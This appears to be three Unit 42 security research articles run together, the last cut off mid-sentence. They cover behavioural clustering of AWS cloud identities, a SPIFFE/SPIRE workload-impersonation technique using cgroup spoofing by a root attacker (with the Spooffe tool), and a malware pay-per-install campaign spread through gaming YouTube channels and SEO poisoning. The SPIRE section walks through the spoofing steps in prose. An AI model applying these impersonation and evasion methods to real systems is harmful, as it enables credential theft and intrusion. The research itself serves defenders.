paloaltonetworks

As cloud environments expand to include human, machine and autonomous agent identities, mapping the functional roles of these identities has become a significant security challenge. To address this challenge, we designed a behavioral clustering model that extracts activity patterns from cloud audit logs. By adopting a clustering-based approach to identity mapping, organizations can gain greater visibility into cloud activity and integrate these behavioral patterns into automated threat detection mechanisms. To create our behavioral clustering model, we examined the behavior of over 40,000 identities from 125 cloud environments over a two-month period, mapping these identities to functional roles. These roles include administrators, backup services, security tooling and development and operations (DevOps). Identifying these functional roles is rarely straightforward because resource naming conventions or assigned identity and access management (IAM) policies do not always reveal an identity’s true behavior. Attackers routinely use masquerading techniques like pre-existing permission profiles and benign labels to make malicious activity harder to detect. To illustrate the practical application of our model, we provide an in-depth analysis of the dataset's largest cluster: administrator console users in Amazon Web Services (AWS). We also show how an identity’s behavioral patterns provide richer context for cloud threat detection. Additionally, we demonstrate how lightweight heuristic logic can be extracted directly from the clustering map, which can be implemented in standard SQL. This allows organizations to classify functional identity roles at scale, delivering continuous operational visibility without the need to continuously run a resource-intensive machine learning pipeline. The methodology applied in our behavioral clustering model uses unsupervised machine learning algorithms, specifically Uniform Manifold Approximation and Projection (UMAP) and Hierarchical Density-Based Spatial Clustering of Applications with Noise (HDBSCAN), to construct a reliable behavioral map. This approach automatically categorizes a vast collection of cloud identities into distinct, clustered groups. While our research specifically focuses on AWS CloudTrail data, the methodology can be easily extended to audit logs from other cloud providers, software as a service (SaaS), Kubernetes and other environments. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: Unit 42 Cloud Security Assessment is an evaluation service that reviews cloud infrastructure to identify misconfigurations and security gaps. If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. When it comes to accurately detecting malicious activity within cloud environments, context is key. Consider a scenario where a cloud identity enumerates all resources within your environment. Is this a security tool that frequently scans resources as part of its normal routine? Or is it a service identity that usually serves a limited purpose, such as a backup service that only interacts with a single cloud storage bucket? One of these scenarios represents normal operational activity, the other indicates a potential security breach. This reality forces us to draw a distinction between capabilities and active behavior: What an identity can do: Identity permissions dictate the operations that a role is permitted to perform. Although the industry-standard recommendation is to enforce the principle of least privilege, the reality is that many identities remain heavily over-privileged. This typically happens due to misconfigurations, a lack of visibility or simply a desire to reduce technical friction during rapid development. Attackers can exploit over-privileged identities to execute malicious operations that should have been blocked by tighter access controls. At the same time, many over-privileged identities exist in production for years without ever causing an issue. Security teams use cloud security posture management (CSPM) to audit assigned cloud permissions – but this is only part of the identity puzzle. What an identity actually does: This lies within the domain of cloud detection and response (CDR). Analyzing the practical evidence of operations invoked by different identities is the main focus of this article. To do this we inspect observed API activity such as authentication (ConsoleLogin, GetSigninToken) and discovery (ListBuckets, ListRoles). To interact with the 240 services offered by AWS, there are more than 15,000 possible operations an identity can invoke. Given that thousands of identities are operating across complex cloud environments, we are left with the following questions: Are there common behavioral patterns that identities naturally follow? How can we reliably differentiate between the footprints of various functional roles such as administrators, DevOps, backup services and security tools? Analyzing the specific cloud operations an identity invokes, as captured in AWS CloudTrail, provides a clear picture of its day-to-day behavior and role. When observing a large enough collection of identities across multiple organizations, a macro-level picture begins to emerge. A behavioral map visualizes each identity as a distinct data point, where its invoked operations dictate its coordinates. The scatter plot in Video 1 projects a vast array of AWS identities into a two-dimensional space based on their executed operations. Video 1. AWS identity behavioral map. In this simplified visualization, each dot represents a unique cloud identity, projected into a two-dimensional space where proximity reflects behavioral similarity and colors reflect behavioral clusters. This map features the 30 largest clusters found in the dataset, representing approximately 20,000 identities. Due to a limited color palette, some colors are reused across the visualization; however, each spatially separated dense region represents its own isolated cluster. The visual datapoint clustering, along with additional quantitative metrics, indicate that cloud identities have a strong tendency to share similar behavioral traits, often mapping to the same functional roles across different organizations. To decode the functional role associated with each behavioral cluster, we combined four analytical methods: Operation frequency: Analyzing the most frequent operations invoked within each cluster Class-based scoring (c-TF-IDF): Using c-TF-IDF scoring to identify operations that distinguish one cluster from the rest Attribute-based mapping: Highlighting various portions of the map based on specific operations, services and/or string matching Identity naming patterns: Mining common substrings and naming conventions within each cluster To illustrate these methods, we narrow our analysis to a well-isolated cluster shown in Video 2. Consisting of roughly 5,000 identities spanning over 100 cloud projects, it represents one of the largest, most dense clusters in our dataset: administrative user identities. Video 2. Detailed view of the administrative identity cluster. The clustering algorithm we use is hierarchical, allowing us to partition large clusters into distinct sub-behaviors. However, for the purposes of this research, we analyze the cluster at a macro level, focusing on identities operating through the AWS Management Console. An analysis of the most frequent operations within this cluster revealed a defining characteristic: roughly 94% of the identities invoked ConsoleLogin, an AWS Management Console sign-in event, as Figure 1 shows. For comparison, fewer than 1% of identities in any other cluster performed this operation. We can also see that around 60% of the identities in the cluster invoke additional operations associated with the default AWS Console behavior, such as GetCostAndUsage and GetCostForecast. To look beyond raw frequency and uncover the most distinguishing operations for this group, we examined the cluster using c-TF-IDF scoring, as illustrated in Figure 2. The APIs with the highest op_score serve as behavioral markers, occurring frequently within the selected cluster while remaining relatively rare across the rest of the global dataset. The scoring results show that operations that are automatically triggered when logging into the AWS console – such as ListNotificationHubs – receive higher scores than those based on raw frequency analysis. To further validate the hypothesis that this is a cluster of administrative user identities, we also examined textual metadata. We looked at the entire clustering map and highlighted only the identities whose resource names contain the substring admin. In Video 3, the admin string shows a strong concentration within our selected target group. Video 3. Global behavioral map, with identities containing the admin substring highlighted in orange. In addition to highlighting portions of the map based on names, it is also possible to highlight them based on attributes such as specific invoked operations, usage of selected services such as S3, EC2 Lambda or any other measurable attribute. Mining common substrings from identity names provides additional context for cluster analysis. While relying on naming conventions of a single identity alone can generate inaccurate results, recurring patterns within a cluster help explain its underlying behavior. Using a Generalized Suffix Tree, we algorithmically discovered the cluster's most frequent substrings rather than searching for specific arbitrary keywords like “admin.” Among the top results was AWSReservedSSO_AdministratorAccess_ – the default prefix generated when assigning AdministratorAccess via AWS IAM Identity Center. Combining these quantitative methods with visual mapping allows us to confidently conclude that this cluster indeed represents administrative users operating primarily through the AWS Management Console. Repeating this profiling process across our dataset reveals clear, reproducible clusters for both human and machine identities, some of which shown in Figure 3. We were able to identify clusters based on behavioral patterns, including: DevOps Infrastructure as Code (IaaC) runners Continuous integration and continuous delivery (CI/CD) systems Security products Backup agents Networking components FinOps platforms To build this behavioral map, we constructed a multi-stage data pipeline, as illustrated in Figure 4. The pipeline consists of the following stages: Cloud audit log ingestion Pre-processing and vectorization Dimensionality reduction Clustering The process begins by converting raw cloud audit logs into identity vectors that capture each identity's behavior and allow us to measure the distance between them. In this format, each identity is represented as a vector containing information about the specific operations it invoked. By treating the set of possible operations as a “vocabulary,” we can represent each identity as a boolean vector where positions are marked true if the operation was invoked within the given timeframe. Because this vocabulary spans at least 15,000 possible operations — most of which are rarely invoked — the resulting vectors are both large (high-dimensionality) and sparse (mostly filled with zeros), making them challenging to process. Figure 5 shows the data format after this vectorization process, using test identities and data. We applied the Uniform Manifold Approximation and Projection (UMAP) algorithm to reduce high-dimensional data into a lower-dimensional space while preserving its essential structure. Considering our vector representation, we found that cosine similarity works well as the distance metric for UMAP, as it focuses on the angle between the vectors rather than their magnitude. We ran this dimensionality reduction on the vectorized data, processing it in two parallel passes: The first pass creates dense embeddings, which are lower-dimensional vectors for the clustering algorithm. This significantly reduces dimensions while preserving enough detail to maintain behavioral information. The second pass compresses the original sparse vectors into a two-dimensional plot specifically for visualization, as shown in Figures 1, 2 and 5. Figure 6 shows how the format and dimensionality of the data change after applying UMAP in the first pass. The initial large vectors consisting of over 10,000 boolean values are transformed into much smaller, dense vectors with 32 continuous values. At this stage, we feed the dense embeddings into the Hierarchical Density-Based Spatial Clustering of Applications with Noise (HDBSCAN) algorithm, which groups the identities by detecting dense regions in the dataset. Once every identity is assigned to a cluster, or labeled as an outlier, we can begin investigating the groups to understand their shared behaviors. This analysis focuses on their common traits and how to distinguish them from identities in other clusters. The resulting groups align closely with standard functional roles in cloud environments, such as Administration, DevOps, Security and CI/CD. After discovering the behavioral groups using the above pipeline, we can scale this detection capability to ingest new identities and automatically determine whether they belong to a known cluster. Instead of running the full pipeline, we train a classifier to evaluate cluster membership for groups of interest. For example, a dedicated classifier can be built to detect DevOps users, while a different classifier can detect security tools. We found that a simple logistic regression model trained directly on the original sparse boolean vectors can accurately identify our clusters of choice. Unlike more complex machine learning models that often require additional tools to interpret outputs and decisions, the trained logistic regression model is highly interpretable. This enables us to observe the cloud operations required to infer cluster membership, along with their respective mathematical weights. In practice, the model's inference logic calculates a weighted sum of the present operations. This means that we can determine how each cloud operation increases or decreases the likelihood that an identity belongs to a target cluster, and which operations are most important for prediction. Because the vocabulary of possible operations is vast, assigning weights to thousands of mostly irrelevant operations would be unnecessary. To address this challenge, we used L1 regularization, also known as Lasso. This is a penalty that forces the model to reduce the coefficients of irrelevant features to absolute zero, compressing the model to focus exclusively on a small subset of critical, defining operations. These steps result in a local approximation of our more complex clustering model. By training the classifier on specific groups, the model is essentially distilled into an indicative set of a few dozen operations paired with corresponding coefficients. This concise logic can be used to quickly infer whether an identity belongs to a DevOps, administrative or security product cluster. Beyond being transparent and explainable, this lightweight logic is simple and efficient enough to be implemented directly within standard SQL queries. By adopting this lightweight approach, organizations can perform accurate role inference at scale, without relying on resource-intensive pipelines. While posture management establishes the essential baseline of what an identity is permitted to do, analyzing its behavior reveals what it actually executes in production. Knowing the true functional baseline of an identity allows security teams to quickly spot deviations, flag defense evasion attempts and accelerate incident response. By utilizing unsupervised machine learning algorithms like UMAP and HDBSCAN, we demonstrated that cloud identities naturally form distinct behavioral clusters. Rather than relying on static assigned permissions, these clusters accurately reflect an identity's true functional role within an environment — such as administrative access, CI/CD pipelines or security scanning services. After establishing these behavioral clusters, we can efficiently map identities to their functional roles using lightweight logic distilled from our model. This logic can be implemented directly in standard SQL queries, enabling highly scalable identity classification across enterprise environments. This methodology can also be applied to audit logs from other sources of operational data, including different cloud providers, Kubernetes and SaaS. Enriching standard telemetry with behavioral metadata adds an important layer of context, exposing high-risk anomalies that static analysis could miss, such as a compromised backup service suddenly executing administrative actions. As cloud environments continue to grow in complexity, a context-aware approach serves as a robust blueprint for future detection strategies, offering a clear path toward more precise, efficient and proactive security operations. Palo Alto Networks customers are better protected from the threats discussed above through the following products and services: Cortex Cloud can help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine, Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment. Cortex XDR and XSIAM are designed to prevent the execution of known malicious malware and prevent the execution of unknown malware using Behavioral Threat Protection and machine learning based on the Local Analysis module. Idira Privilege Access Management (PAM) can help unify privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets. Idira Identity Governance and Administration (IGA) can help automate user access reviews and access provisioning, using AI Profiles to continuously define job-appropriate access rather than relying on static, hard-to-maintain roles. By analyzing entitlements at a granular level, Idira surfaces excessive privilege with less effort, enforces least privilege at scale, and provides the integrated governance foundation for Zero Standing Privilege across all identities. Unit 42 Cloud Security Assessment is an evaluation service that reviews cloud infrastructure to identify misconfigurations and security gaps. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. BERTopic: Neural topic modeling with a class-based TF-IDF procedure – Maarten Grootendorst UMAP: Uniform Manifold Approximation and Projection – Leland McInnes, John Healy, Nathaniel Saul, Lukas Großberger hdbscan: Hierarchical density based clustering – Leland McInnes, John Healy, Steve Astels Table 1 shows Cortex alerts that use roles assigned from behavioral analysis and the CDR module, mapped to MITRE ATT&CK® techniques.

This research demonstrates post-exploitation techniques that could allow an attacker with root access on a compromised Kubernetes node to misuse an open standard and reference implementation for machine identity known as SPIFFE/SPIRE to impersonate co-located workloads and harvest SPIFFE Verifiable Identity Documents (SVIDs). We show how the trust assumption at the core of every machine-identity system — that the node is trusted — collapses once an attacker obtains root on that node. Unit 42 has not observed this technique exploited in the wild. The Secure Production Identity Framework for Everyone (SPIFFE)/the SPIFFE Runtime Environment (SPIRE) is widely deployed in Kubernetes and cloud-native environments to replace long-lived secrets with short-lived, cryptographically verifiable workload identities. Our research shows how an attacker with root can spoof the Linux control group (cgroup) information the SPIRE agent uses during workload attestation. This tricks the agent into issuing a co-located workload's SVID to an attacker-controlled process. As part of this research, we developed Spooffe, an open-source tool that defenders can use to test whether an attacker with administrative access could manipulate cgroup metadata to retrieve co-located workload identities and assess the resulting identity area of impact. When designing threat models for SPIFFE/SPIRE, organizations should assume that root-level access to a node grants access to all cryptographic identities scoped to it. We recommend performing the following activities to reduce exposure: Harden nodes Restrict root access Prohibit privileged containers, host access Minimize reliance on weak selectors Palo Alto Networks customers are better protected from the threats described here through the following products and services: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. SPIFFE is an open standard for machine identity designed to solve the “Secret Zero” problem — the challenge of securely introducing the initial secret required to bootstrap trust — by replacing long-lived secrets with short-lived workload identities. When deployed correctly, SPIFFE enforces strong identity boundaries between workloads. However, these guarantees rely on a core assumption shared by all identity systems that the underlying node is trusted. If an attacker gains root access to a node, they can interact with identity mechanisms to retrieve all identities authorized to that compromised node. Our research explores how attackers can exploit root access to harvest workload identities from a compromised node. In this post, we lay the groundwork by explaining machine identity and how SPIFFE establishes and verifies trust in cloud-native environments. We then demonstrate workload impersonation through selector spoofing. Finally, we introduce Spooffe, a tool we built to automate the extraction of these workload identities (SVIDs). Note to readers: If you’re already familiar with SPIFFE/SPIRE concepts and architecture, you can jump directly to Workload Attestation and How the Agent Attests the Workload sections. Consider a scenario where two applications, a frontend and a backend, must communicate securely. We could generate key pairs and exchange public keys to communicate through Mutual Transport Layer Security (mTLS), but this option raises a few key questions: Who rotates those keys? Who revokes them if the app is compromised? Can we verify who/what is presenting the keys? SPIFFE addresses these issues by standardizing how machines are named and how short-lived credentials are issued. The term machines refers to two broad categories: Workloads: Containers, processes and services running application logic Devices: Endpoints such as desktops, mobile devices and internet of things (IoT) or operational technology (OT) systems - (Note: Device identity is not part of the core SPIFFE specification) Each workload is assigned three identity components: SPIFFE ID: Who you are (your name) SPIFFE Verifiable Identity (SVID): Proof that you are who you are claiming to be (your credentials) Trust Bundle: How others verify that a trusted authority issued your credential Let’s go into a little more detail about each of these. SPIFFE ID is a canonical name for a workload identity that follows a URI-style format like spiffe:// / (Figure 1). The middle part (example[.]com) in Figure 1 is the trust domain, the issuer of identity that acts as a security boundary. In this way, workloads can have an identity and know who to communicate with. However, identity alone does not guarantee trust or security, so we add the SPIFFE Verifiable Identity Document (SVID). This is a short-lived credential that a workload presents to prove its identity. It is cryptographically signed by the certificate authority (CA) server and always includes the workload's SPIFFE ID. SVIDs support two primary formats: X.509 SVID: A certificate with an embedded public key, typically used for mTLS JSON Web Token (JWT) SVID: A signed JWT token used as a bearer token for application-level authorization Finally, we have the trust bundle, which is a set of trust anchors — root CA certificates or JSON Web Key Sets (JWKS). These are used to verify that a trusted authority issued an SVID within a trust domain. To understand how these identity components are issued and verified in practice, we first need to look at the SPIRE architecture and its core runtime components. SPIRE is a production-ready implementation of the SPIFFE specification. While several implementations exist, we chose SPIRE for this research because it is widely deployed in Kubernetes environments and fully implements the SPIFFE standard. Furthermore, because SPIRE is open source, we can inspect its internals to understand how the specification works in practice. SPIRE is composed of a few simple pieces (as shown in Figure 2 below): Workload: A single piece of software deployed to do a specific job (e.g., a process, container, pod) SPIRE Server (control plane): This is the CA that stores registration entries. It also issues and cryptographically signs SVIDs. Additionally, it publishes the trust bundle for the trust domain. SPIRE Agent: This runs on every compute node (e.g., a Kubernetes node, VM or bare-metal host). It performs the following activities: - Accepts requests from workloads locally over the Workload API (UNIX socket) - Communicates with the server via the Node API - Performs attestation - Caches SVIDs - Handles rotation Registration entries and selectors: These are server-side policy objects that define which workloads are allowed to receive which SPIFFE IDs. When a workload requests an identity, the SPIRE agent collects runtime attributes (selectors) about the workload and the server compares them against registration entries to determine which identity, if any, should be issued. With the SPIRE architecture in mind, we can now walk through how workload-to-workload identity verification works end to end. When workload A needs to communicate with workload B over mTLS, it requests a short-lived credential from the local SPIRE agent. The agent attests the workload and forwards the attestation data to the SPIFFE server. Based on predefined registration policies, the server selects the appropriate SPIFFE ID for the workload and issues a short-lived X.509 SVID. The server also publishes the corresponding public keys as part of the trust bundle. When workload A initiates a connection, it presents its SVID during the mTLS handshake. Workload B verifies the SVID by validating the signature against the trust bundle, checking the certificate’s expiration, and confirming that the SPIFFE ID matches an expected identity. If these checks succeed, workload B can cryptographically authenticate workload A and establish a secure connection. This enables workload-to-workload communication based on identity rather than long-lived secrets (Figure 3). The identity flow described above depends on attestation, the process by which SPIRE determines whether a workload is allowed to receive an identity. SPIRE performs attestation at two levels: Node attestation establishes trust in the agent running on a node Workload attestation determines the identity of individual workloads In this post, we focus on workload attestation, as it is the mechanism directly involved in selector evaluation and the attacks discussed later. Before the agent attests the workloads, the SPIRE server’s administrator must register the workload selectors in the SPIRE server so it can later compare them to the selectors in the agent. In this Kubernetes example, the registration entry authorizes any pod running in the default namespace and using the default service account to receive the specified SPIFFE identity (spiffeID). The resulting record is stored on the SPIRE server as follows: The SPIRE agent periodically synchronizes and caches these registration entries from the server, using them locally during workload attestation to determine which identity applies. The agent generates key pairs for each registration entry, sends certificate signing requests (CSRs) to the server and caches the resulting SVIDs. When a workload wants to authenticate, it requests an identity from the agent over the Workload API (Figure 4, step 1). The agent performs workload attestation (Figure 4, step 2) by gathering selectors from the workload process and matching them against cached registration entries. Upon a successful match (Figure 4, step 3), the agent returns: X.509 SVID Private key Trust bundle Note: This example is based on an X.509 SVID request. For JWT SVID requests, the agent returns only a signed JWT token. With the high-level flow in mind, we can now examine how attestation works in practice. When a workload requests an SVID (via FetchJWTSVID or FetchX509SVID), it connects to the agent Workload API, typically via a Unix domain socket (such as /run/spire/sockets/agent.sock). The agent then extracts the PID for the calling process. Once the agent receives the PID, it passes it to the configured workload attestor plugins, which collect selectors based on process and container metadata. SPIRE agents support several workload-attestor plugins. Common plugins include docker, k8s, systemd, Unix and Windows. In our cluster, the agent uses the k8s and Unix plugins. The k8s plugin uses the workload PID to access /proc/ /mountinfo or /proc/ /cgroups. It calls GetPodUIDAndContainerID to extract the pod UID and the container ID. In our environment, this process looks like the following: After extracting the container ID and pod UID, the k8s plugin queries the kubelet to retrieve pod metadata. To do this, it uses the SPIRE agent’s service account token, stored at /var/run/secrets/kubernetes.io/serviceaccount/token. The agent's service account has the following permissions, which allow it to list pods and access node information: Using this token, the plugin calls getPodList to retrieve all pods on the node. It then identifies the pod whose UID and container ID match the values extracted from the /proc directory. Once matched, it collects selectors from the pod's metadata: The Unix plugin gathers information from /proc to produce selectors such as user identifier (UID) and group identifier (GID). These selectors are used during workload attestation to bind a workload’s identity to operating system level properties of the calling process, helping SPIRE distinguish between different workloads running on the same node. Here is an example of the selectors it collects: The agent combines these selectors from both the k8s and Unix plugins. It then matches this selector set against the locally cached registration entries. If an entry's selectors are a subset of the workload's selectors, the agent returns the corresponding cached SVID to the workload. This attack requires root-level access to the node. Our analysis revealed that workload attestation relies heavily on the workload’s cgroup path. An attacker with root access on the node can manipulate this cgroup path, potentially tricking the agent into believing the attestation claims belong to a different workload and obtain that workload’s identity. This could allow the attacker to impersonate the victim workload and access any services or resources trusted under that identity. As a first step, we created a registration entry for a pod named workload-a in the server and we verified that we could fetch its identity from the pod: We verified that we could not retrieve this identity from the host by requesting a JWT SVID: To spoof the workload-a cgroup, we first retrieve its PID: We checked its cgroup path based on the above PID: We copied this path to a mock cgroup path and wrote our shell’s current PID($$) into the mock cgroup’s cgroup.procs file: Notably, writing the PID directly into the original cgroup path would have also worked. We used a separate cgroup only to avoid modifying the original workload’s runtime state. Running the fetch command again successfully retrieved the identity associated with PID 9072: We can also see the workload-a SPIFFE ID inside the JWT token: The manual spoofing demonstration highlights that the security model relies entirely on a single, vulnerable assumption of node integrity. When we have root access, we can get the identity of any workload on the node. This manual spoofing demonstration highlights a critical trust assumption in workload attestation. When an attacker has root-level access to a node, they can manipulate cgroup information to cause the SPIRE agent to misattribute workload identities. Under these conditions, the attacker can impersonate other workloads running on the same node and obtain their identities. These findings motivated us to develop Spooffe, a tool that allows defenders to automate selector spoofing to retrieve all the workload identities from the node. Spooffe scans the node for running workloads, discovers their cgroup paths, and replicates them as a mock cgroup for its own process. It then queries the local SPIRE agent for the resulting identities (SVIDs), allowing us to collect all workload identities present on the host (Figure 5). Besides selector spoofing, Spooffe includes additional capabilities. However, in this post we focus only on the features relevant to this research. One such capability is agent impersonation, which examines whether an attacker can impersonate the SPIRE agent and communicate directly with the server to extract workload identities. In this article, we demonstrated how an attacker with root access on a compromised node can misuse SPIFFE/SPIRE workload attestation to impersonate co-located workloads and retrieve their identities. By manipulating cgroup metadata, we showed how attackers could mislead the SPIRE agent into issuing valid SVIDs to an attacker-controlled process. We also introduced Spooffe, a tool that automates this technique to enumerate and extract workload identities from a node. These findings highlight a fundamental assumption in workload identity systems: trust in the underlying node. While SPIFFE/SPIRE enforces strong cryptographic identity guarantees between workloads, those guarantees rely on the integrity of the environment where attestation occurs. Once that trust boundary is broken, identity isolation between workloads collapses, allowing attackers to move laterally using legitimate credentials rather than stolen secrets. Organizations adopting workload identity should treat node-level compromise as equivalent to compromise of all identities scoped to that node. To reduce risk, restrict privileged containers, limit direct host access and minimize reliance on weak or easily spoofable selectors. Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Cortex XDR and XSIAM can help protect against post-exploitation activities using the multi-layer protection approach. This approach combines several layers of protection, including Advanced WildFire, Behavioral Threat Protection, and Endpoint Protection Modules (EPM). Cortex Cloud Identity Threat Detection can help deliver end-to-end visibility across cloud providers and IdPs by baselining real-time access patterns. By continuously monitoring these behaviors, ITDR detects identity abuse and compromised credentials targeting critical cloud resources and Kubernetes workloads, automatically triggering containment actions to keep attackers out. If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Spooffe — GitHub

A recent Unit 42 investigation into seemingly low-priority enterprise infections demonstrates how the most effective camouflage in cybercrime is not necessarily in the use of sophisticated techniques, but in how unremarkable the threat appears. The activities that we investigated would typically not require escalation or further inquiry. But upon closer inspection, we discovered a massive cybercrime campaign largely targeting young gamers. Tracked as CL-CRI-1171, in accordance with Unit 42’s attribution framework, the group behind this cluster has operated under the radar for at least two years, distributing an indeterminate number of payloads. The group behind CL-CRI-1171 provides an infection service for other threat actors who want to spread their malware indiscriminately. This pay-per-install (PPI) marketplace drove hundreds of infections through YouTube channels and a parallel search engine optimization (SEO)-poisoning funnel, all using the same custom loader. We observed at least eleven YouTube channels that had hundreds of thousands of followers. We notified YouTube of these channels, which it promptly terminated. These channels were actively interacting with viewers to promote gaming content laced with links to download malware. Content in the channels included advice on improving frame rates, fixing game crashes and adjusting settings on game platforms. Although the videos provided real content for gamers, they also served as the delivery vehicle for infection, prompting viewers to download malicious tools. The SEO funnel targeted a more professional audience, promoting trojanized software that resulted in malware deployment on corporate endpoints, including critical infrastructure and even government entities. We identified three independent payloads delivered by the same loader between July 2025 and April 2026: two never publicly reported, Docro Hijacker and ARKTunnel, and a new variant of a previously unnamed backdoor, which we dubbed Insomnia remote access Trojan (RAT). These infections represent only a small sample of a much larger deployment campaign. We have identified more than 10,000 distinct loader samples, each capable of delivering unique payload combinations. We provide an overview of the cybercrime cluster and its loader infrastructure, and a technical analysis of three recently delivered malware strains. Palo Alto Networks customers are better protected from the threats discussed in this article through the following: If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team. Our discovery of two separate infections delivering three entirely distinct malware families revealed one common denominator: a shared loader. By tracing this infrastructure, we mapped the broader activity of CL-CRI-1171, ultimately tying the cluster to a PPI marketplace responsible for delivering countless payloads over the last two years. This operation uses at least two funneling mechanisms to route traffic to the malware landing pages: a network of YouTube channels and SEO poisoning. The shared infrastructure between the YouTube and SEO funnels, consistent use of the same loader and a rotational domain pattern observed over an eight-month window all pointed to a single sustained operation, which we track as CL-CRI-1171. PPI networks operate as underground marketplaces. An operator compromises machines and auctions access to multiple buyers, each buyer deploying their own independent payloads through the same dropper. The result is a single infection that conceals multiple payloads from unrelated threat actors on the same endpoint, each with its own C2 infrastructure and objectives. Because the loader is designed to be disposable and generic, it rarely attracts the scrutiny needed to uncover its subsequent payloads. The investigation began with two identical and seemingly routine infections at separate organizations. Both events involved trojanized software downloads — one a Bluetooth driver, the other WinDirStat — and both affected machines executed an identical post-exploitation chain. The loader was unnamed, untracked and generic enough to be dismissed as commodity adware. But our discovery of a shared payload chain raised a question. How were two unrelated organizations infected by the same unnamed loader delivering the same set of payloads, just one week apart? Pivoting on the loader's C2 infrastructure revealed a sprawling network of rotational domains — over 200 unique hostnames following a distinctive two-word compound naming pattern (including bubbleslip, churchpail, dinosaursjam), rotating across .xyz, .cfd, .space and .info top-level domains (TLDs). The payloads delivered through CL-CRI-1171's infrastructure are not fixed, enabling the simultaneous delivery of unrelated malware families. In April 2026, two incidents initiated this investigation. They shared a single loader that delivered three separate malware families: Insomnia RAT, ARKTunnel and Docro Hijacker. A subsequent infection, observed in June 2026, delivered two entirely different payloads: GCleaner and Socks5Systemz. Figure 1 illustrates the structure of the operational architecture and the observed rotational malware bundles. Our in-depth analysis explores three operations that were spotted in two intrusion sets during April 2026. By examining the campaign’s trackers, we found that these operation payloads were in rotation from July 2025 to April 2026. This discovery provides a valuable snapshot of the group’s deployment capabilities and the variety of payloads they have been entrusted to deliver. Although the observed rotation appears to be highly structured, the discovery of over 10,000 unique OfferLoader samples points to a much larger distribution pipeline. It is very likely that the loader has delivered numerous other malware families. The SEO poisoning path was the first delivery channel we identified. Unsuspecting users searching for legitimate software landed on file-hosting lure pages that displayed a fake virus-scan animation before delivering the trojanized archive via a chain of redirectors into the PPI gate. A reconstructed example download page from the SEO poisoning funnel is shown in Figure 2. Analysis of the gate's tracker URLs revealed a critical detail. Each URL contained a click_id parameter: a Base64-encoded fingerprint containing the victim's operating system (OS), browser, the referring domain, the exact search keyword that led them to the lure and their public IP address, as Table 1 shows. Table 1. Example of a deobfuscated click_id. The gate uses this fingerprint to decide who receives the payload: a valid, fresh click_id forwards the visitor to the malware/loader download. This is an evasion tactic used to ensure that only real targets are infected, and to protect the actor’s infrastructure: scanners, crawlers or analysts receive a decoy clone of the legitimate WinRAR download page or broken links. This is why the campaign has almost no public footprint despite being highly active: automated URL scanners rarely pass the gate. Decoding hundreds of these fingerprints, with the assistance of AI, exposed the full names of YouTube video titles and their associated channels. Alongside search keywords for cracked software and game cheats, the q= field – which tracks which search query led to the infection – contained strings like "CS2 Potato Graphics Settings - Maximum FPS Boost for Low-End PC (2026 Guide) - Velvox." Searching for titles derived from the fingerprints led us to uncover a chain of gaming optimization YouTube channels. Their content included tips on boosting frames per second (FPS), fixing game crashes and tweaking settings on popular game platforms. While the videos provided authentic, engaging content for young gamers, they ultimately served as an infection delivery vehicle, prompting viewers to download a malicious “tool” or “optimization pack” via links in the description, as Figure 3 shows. Those links pass through intermediary sites, such as Blogspot, which contain social-engineering instructions that lead the victim to the same PPI gate infrastructure serving the SEO path. An example blog page is shown in Figure 4. We identified 11 channels connected to CL-CRI-1171, which collectively had hundreds of thousands of subscribers and millions of views. Our investigation revealed three malware strains delivered by the group behind CL-CRI-1171 between June 2025 and April 2026. The following sections explain the technical aspects of the loader used by this cybercrime group and the deployed malware payloads: OfferLoader – The delivery mechanism behind all recorded intrusions, an Inno Setup trojanized installer that sets up the other payloads. Operation A: Insomnia RAT – A dual-payload, cross-platform backdoor that brings its own environment to ensure survival. Targeting both Windows and macOS using Node.js, paired with a twin Python agent. Operation B: ARKTunnel – A previously unreported WebSocket tunneling RAT unpacks itself from a bitmap image using steganography. We found 50 samples spanning over a year of development, operating across four fictitious corporate-identity rotations. Operation C: Docro Hijacker – A Chrome backdoor that revives a browser-hijacking technique first seen in 2015, re-engineered to bypass modern integrity protections. This campaign represents the first observation of this modern variant in the wild. We discovered two intrusion sets that began in the same way: a user searched for a legitimate utility, clicked a top search result that led to a malicious domain, and downloaded what appeared to be a legitimate application. Both infections delivered the same three payloads. First intrusion set: Downloaded Bluetooth Driver for Windows 10.exe from a file-sharing archive. The installer was a trojanized Inno Setup package carrying the PPI loader with affiliate ID CID=2855. Second intrusion set: Browsed to noiseship[.]cfd, a domain registered just 39 days earlier, and downloaded a trojanized windirstat.exe installer. This package carried the PPI loader with affiliate ID CID=3075. The operator's code and C2 communication designate each payload slot as an "offer," tracking variables as offer_execution, offer_execution_fail and offer_exists. Based on the naming convention, we track this loader as OfferLoader. OfferLoader uses chained Inno Setup (a legitimate installation packager) packages to deliver multiple payloads. Figure 5 shows the infection chain. OfferLoader is delivered in a ZIP file, with the source download site 